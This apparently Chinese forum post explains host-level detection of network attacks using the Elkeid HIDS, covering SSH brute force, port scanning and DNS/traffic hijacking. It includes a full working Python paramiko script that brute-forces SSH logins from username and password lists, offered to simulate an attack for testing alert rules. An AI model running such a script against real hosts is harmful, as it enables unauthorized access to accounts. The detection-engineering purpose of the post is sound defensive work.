IT评测·应用市场-qidao123.com

标题: 主机安全-网络攻击监测 [打印本页]

作者: 涛声依旧在    时间: 2024-9-1 20:52
标题: 主机安全-网络攻击监测

概述

本文先容主机网络层面上的攻击场景,每种攻击场景举一个例子。监测方面以字节跳动的开源HIDS elkeid举例。
针对网络攻击,通常可以思量从以下方面做规则

暴力破解(SSH爆破为例)

原理

暴力破解指的是针对开放的端口,提供的服务需要凭据才能访问,但是没有对用户行为做频率的限制,存在弱口令时可能爆破成功。
规则


bruteforce_single_source_detect
这个是针对单一源ip做的告警

bruteforce_multi_source_detect

bruteforce_success_detect
暴力破解,通过密码登录成功

攻击模拟

  1. import paramiko
  2. # 配置目标主机的IP地址和端口
  3. TARGET_IP = '172.19.0.16'  # 替换为目标IP
  4. TARGET_PORT = 22  # 替换为目标端口
  5. # 读取用户名和密码
  6. def read_file(filename):
  7.     with open(filename, 'r') as file:
  8.         return [line.strip() for line in file]
  9. # 尝试SSH登录
  10. def attempt_ssh_login(username, password):
  11.     ssh = paramiko.SSHClient()
  12.     ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  13.    
  14.     try:
  15.         ssh.connect(TARGET_IP, port=TARGET_PORT, username=username, password=password)
  16.         return True
  17.     except paramiko.AuthenticationException:
  18.         return False
  19.     except Exception as e:
  20.         print(f"Error connecting to {TARGET_IP}: {e}")
  21.         return False
  22.     finally:
  23.         ssh.close()
  24. def main():
  25.     usernames = read_file('username.txt')
  26.     passwords = read_file('password.txt')
  27.     for username in usernames:
  28.         for password in passwords:
  29.             success = attempt_ssh_login(username, password)
  30.             if success:
  31.                 print(f"Success: Username: {username}, Password: {password}")
  32.             else:
  33.                 print(f"Failed: Username: {username}, Password: {password}")
  34. if __name__ == "__main__":
  35.     main()
复制代码

告警



给出了源ip,除了这个还可以思量提供其他信息

端口扫描

原理

对多个端口发起网络探测,确定端口存活、协议等指纹信息。
规则

这里elkeid没有给出,根据原理可以类似ssh爆破,对同一个ip来源扫描多个端口或对单个端口以不同协议高频率扫描。
攻击模拟

利用nmap或masscan等端口扫描工具即可。
告警

告警保举包罗以下字段:

流量挟制

原理

流量挟制是指在主机和第三方服务之间添加了恶意攻击者,常见DNS挟制、HTTP挟制、CDN挟制等。以DNS挟制为例,攻击者可能篡改了主机的DNS设置文件。
规则

编写规则时可以思量检测设置文件,或者判断流量的特征。例如,DNS的设置文件为/etc/resolv.conf。DNS隧道攻击时,流量中会有大量的编码后的子域名哀求特征。
攻击模拟

这个需要一个远程服务器,从github上也没看到fake dns server之类的,先留个坑。
告警

告警保举包罗以下字段:

参考

流量挟制
DNS隧道攻击原理及常用攻击分析

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 IT评测·应用市场-qidao123.com (https://dis.qidao123.com/) Powered by Discuz! X3.4